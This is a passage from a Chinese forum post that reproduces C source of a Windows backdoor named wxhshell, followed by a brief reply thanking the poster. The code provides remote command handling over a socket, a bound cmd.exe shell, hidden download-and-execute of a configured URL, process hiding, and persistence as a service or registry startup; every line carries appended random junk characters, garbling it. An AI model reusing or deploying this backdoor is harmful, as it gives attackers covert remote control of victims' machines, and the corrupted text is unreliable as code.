  if(DownloadFile(cmd,wsh)) a8Ci 7<V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oqUtW3y  
  else g<}K^)x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z4E:Z}~''  
  } 3}LTEsdM  
  else { DFR.F:O%  
a{Tv#P*!  
    switch(cmd[0]) { 1_GUi  
  MlS<txFPS  
  // 帮助 (y#8z6\dx  
  case '?': { uF@Q8 7G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f5d"H6%L  
    break; tR0o6s@v/<  
  } S G]e^%i  
  // 安装 0Ba-VY.H  
  case 'i': { t[iE >  
    if(Install()) mv<z%y?Oj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gt'0B-;W  
    else i (L;1 `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); obaJT"1  
    break; H$;K(,'  
    } O1rnF3Be  
  // 卸载 Wd&!##3$Q  
  case 'r': { XP6R$0yN  
    if(Uninstall()) ]}KmT"vA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l_+s$c  
    else ddlLS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .w[]Q;K_[)  
    break; 4wBMBCJ;P  
    } )Q 6R6xW  
  // 显示 wxhshell 所在路径   3xV  
  case 'p': { 9s5CqB  
    char svExeFile[MAX_PATH]; 5XA6IL|/l  
    strcpy(svExeFile,"\n\r"); >JrQS"[u  
      strcat(svExeFile,ExeFile); -4;{QB?  
        send(wsh,svExeFile,strlen(svExeFile),0); /e#_Yg  
    break; u -CY-  
    } . (Q;EF`_U  
  // 重启 J<u,Y= -~  
  case 'b': { e l7P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6D3fkvc Z  
    if(Boot(REBOOT)) TQ>kmHWf/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}  eZX  
    else { Lgvmk  
    closesocket(wsh); BNu zlR  
    ExitThread(0); & UL(r  
    } s 6vsV  
    break; KuE 2a,E4  
    } 'UW7zL5  
  // 关机 waO*CjxE:  
  case 'd': { wgzjuTqwBF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m cp}F|ws  
    if(Boot(SHUTDOWN)) Hz%#&E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-QTqb?U;N  
    else { b!<?,S  
    closesocket(wsh); aL+k1v[m  
    ExitThread(0); cz&Qoyh{;  
    } mi%d([)%<  
    break; XvZg!<*OH  
    } Q5{i#F7nJm  
  // 获取shell C4TJS,!1rH  
  case 's': { 7cY_=X-?Y  
    CmdShell(wsh); tezsoR!.ak  
    closesocket(wsh); )5Gzk&|  
    ExitThread(0); 6_`x^[r  
    break; ]0V~|<0c  
  } !)_80O1  
  // 退出 6&$z!60  
  case 'x': { ^\ {%(i9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UH.M)br  
    CloseIt(wsh); !|!:MYn  
    break; }oj$w?Ex  
    } s e2+X>@>  
  // 离开 `3/,-  
  case 'q': { )MmMs"Um  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^xu`NE8;  
    closesocket(wsh); W&TPrB  
    WSACleanup(); rsOon2|  
    exit(1); i2)rDek3]T  
    break; b3<<4Vf  
        } g9'50<|J  
  } K?(ls$  
  } E;| q  
kO~xE-(=  
  // 提示信息 n M,m#"AI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pm%ZzU  
} h,rGa\X~0  
  } kIP~XV~  
b ]1SuL  
  return; _I3j 7f,V  
} dkLc"$( O  
*N[.']#n  
// shell模块句柄 O&E1(M|*>  
int CmdShell(SOCKET sock) FFK79e/5  
{ 9k&lq$  
STARTUPINFO si; r-H~MisL  
ZeroMemory(&si,sizeof(si)); E6y/,s^~S_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gB71~A{J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xe:B*  
PROCESS_INFORMATION ProcessInfo; 6V*@ {  
char cmdline[]="cmd"; 4US8B=jk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V0c*M>V  
  return 0; 3)EslBA7i  
} v^HDR 3I  
= 14'R4:  
// 自身启动模式 ]J5[ZVz  
int StartFromService(void) it D%sKo  
{ `i,ZwnLh{  
typedef struct KFCuv15w,3  
{  ORp6  
  DWORD ExitStatus; ZgZ}^x  
  DWORD PebBaseAddress; ]cLpLA"  
  DWORD AffinityMask; +2|X 7wA  
  DWORD BasePriority; >"5^]o2?~l  
  ULONG UniqueProcessId; zPH1{|H+l  
  ULONG InheritedFromUniqueProcessId; uy~5!i&  
}   PROCESS_BASIC_INFORMATION; J &u&G7#S  
Bl3G_Ep   
PROCNTQSIP NtQueryInformationProcess; =_D82`p  
! |}J{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  A5F< <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lWd)(9K j  
V[rNJf1z  
  HANDLE             hProcess; DTl M}  
  PROCESS_BASIC_INFORMATION pbi; L7wl3zG  
#HJF==  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~; Ss)d  
  if(NULL == hInst ) return 0; Xi4!7IOm o  
f?2Y np=@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s~IOc%3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N 2L/A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D3HE~zkI  
"z=A=~~<{  
  if (!NtQueryInformationProcess) return 0; [o*u!2 r  
D 7 [n^WtL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HC?yodp^  
  if(!hProcess) return 0; h 34|v=8d  
/-8v]nRB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DN&ZRA  
5R{ {FD`h  
  CloseHandle(hProcess); >Y1?`  
gt';_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8}{';k  
if(hProcess==NULL) return 0; 7$8z}2  
1AjsAi,7;2  
HMODULE hMod; +r2E5s   
char procName[255]; e ! 6SJ7xC  
unsigned long cbNeeded; 8rGW G  
$io-<Z#Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / h0-qW  
-l`@pklQ  
  CloseHandle(hProcess); v"F.<Q  
a_`E'BkgU  
if(strstr(procName,"services")) return 1; // 以服务启动 Hm-+1Wx  
Y H 2i V  
  return 0; // 注册表启动  --Dw  
} K.*?\)&  
)gmDxD ^C  
// 主模块 C$"jZcm,I  
int StartWxhshell(LPSTR lpCmdLine) l^u P?l"  
{ mB"zyL-  
  SOCKET wsl; v@XQ)95]F  
BOOL val=TRUE; bL)g+<:F  
  int port=0; #h6(DuViKw  
  struct sockaddr_in door; Q= + Frsk  
.sbU-_ij@U  
  if(wscfg.ws_autoins) Install(); 9(|[okB  
+y6|Nq  
port=atoi(lpCmdLine); tmRD$O%:  
cEsBKaN  
if(port<=0) port=wscfg.ws_port; 79s6U^vv"  
-102W{V/T  
  WSADATA data; <^~Xnstl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j+Y4>fL$  
Gqk"%irZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }<2F]UuR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a_waLH/  
  door.sin_family = AF_INET; }(a y(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Te[[xhTyw  
  door.sin_port = htons(port); j /)cdP  
Uf4QQ `c#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?OZbns~  
closesocket(wsl); S4qh8c  
return 1; O.TFV.  
} wju~5  
r?{Vqephz  
  if(listen(wsl,2) == INVALID_SOCKET) { Kp ~k!6x  
closesocket(wsl); D4 {gt\V  
return 1; (PsA[>F  
} #7lkj:j4  
  Wxhshell(wsl); 3a!/EP  
  WSACleanup(); i#kRVua/  
66p_d'U  
return 0; D'fP2?3FK  
g#9w5Q  
} -fL|e/   
J:?t.c~$o  
// 以NT服务方式启动 ^nbze  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s.=)p"pTd  
{ Kzo{L  
DWORD   status = 0; v 0rX/ mj  
  DWORD   specificError = 0xfffffff; k{c~  
}2`S@Rq.WW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; By3dRiM=,2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F|xXMpC.f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @h>#cwhU  
  serviceStatus.dwWin32ExitCode     = 0; )6bxP&k  
  serviceStatus.dwServiceSpecificExitCode = 0; sn5N9=\+T  
  serviceStatus.dwCheckPoint       = 0; Ct}"o  
  serviceStatus.dwWaitHint       = 0; Xuh_bW&zF  
:Jhx4/10  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k`oXo%  
  if (hServiceStatusHandle==0) return; B|:{.U@ne  
i$"FUC~'  
status = GetLastError(); U|{WtuR  
  if (status!=NO_ERROR) vbDw2  
{  o<Y|N   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +bdkqdB9  
    serviceStatus.dwCheckPoint       = 0; )Bb :tz+  
    serviceStatus.dwWaitHint       = 0; VZAdc*X  
    serviceStatus.dwWin32ExitCode     = status; OUI}jJw+  
    serviceStatus.dwServiceSpecificExitCode = specificError; "5{Yn!-:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <RGRvv  
    return; DOhXb  
  } }[LK/@h  
KO)<Zh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `(Q58wR}  
  serviceStatus.dwCheckPoint       = 0; YQQ!1 hw  
  serviceStatus.dwWaitHint       = 0; YgM6z K~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O])/kS`  
} }-r"W7]k  
D|e6$O5o  
// 处理NT服务事件,比如:启动、停止 A: 0] n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +%U@  
{ u52; )"&=)  
switch(fdwControl) g-+p(Ll|  
{ ?MpGz CPa  
case SERVICE_CONTROL_STOP: Q=^}B}G  
  serviceStatus.dwWin32ExitCode = 0; ya:H{#%6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l' "<  
  serviceStatus.dwCheckPoint   = 0; Nz!AR$  
  serviceStatus.dwWaitHint     = 0; f{3FoN= z  
  { ,x{5,K.yWq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h(G&X9*  
  } \GMudN  
  return; /23v]HEPy  
case SERVICE_CONTROL_PAUSE: dcHkb,HsO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >$R-:>~zN  
  break; jDXmre?  
case SERVICE_CONTROL_CONTINUE: _ORW'(:Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^+GN8LUs  
  break; ?7G[`@^Y  
case SERVICE_CONTROL_INTERROGATE: t:M>&r:BL  
  break; 0HNe44oI+D  
}; _I$]L8hC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U]R7=  
} *Gu=O|Mm  
E"L'm0i[[  
// 标准应用程序主函数 :-6_X<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @F3d9t-  
{ r5s*"z  
)$th${pd#v  
// 获取操作系统版本 Uj!L:u2b  
OsIsNt=GetOsVer(); (qPZEZKx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %+pXzw`B  
JRodYXjE  
  // 从命令行安装 l  
  if(strpbrk(lpCmdLine,"iI")) Install(); \ [>Rt  
{|rwIRe  
  // 下载执行文件 IL>g-  
if(wscfg.ws_downexe) { Wq,UxMz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G53!wIW2:  
  WinExec(wscfg.ws_filenam,SW_HIDE); NEGpf[$  
} M2oKLRt)L  
c!841~p(Q  
if(!OsIsNt) { /,:32H  
// 如果时win9x,隐藏进程并且设置为注册表启动 0f-gQD  
HideProc(); E* lqCh  
StartWxhshell(lpCmdLine); 5@v!wms  
} P}VD}lEyO  
else DD~8:\QD  
  if(StartFromService()) ~V./*CQ\c  
  // 以服务方式启动 f3596a  
  StartServiceCtrlDispatcher(DispatchTable); L1D%vu`  
else `mWg$e,  
  // 普通方式启动 9]7^/g*!  
  StartWxhshell(lpCmdLine); A$5!]+  
-7pZRnv  
return 0; |J6CH87>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八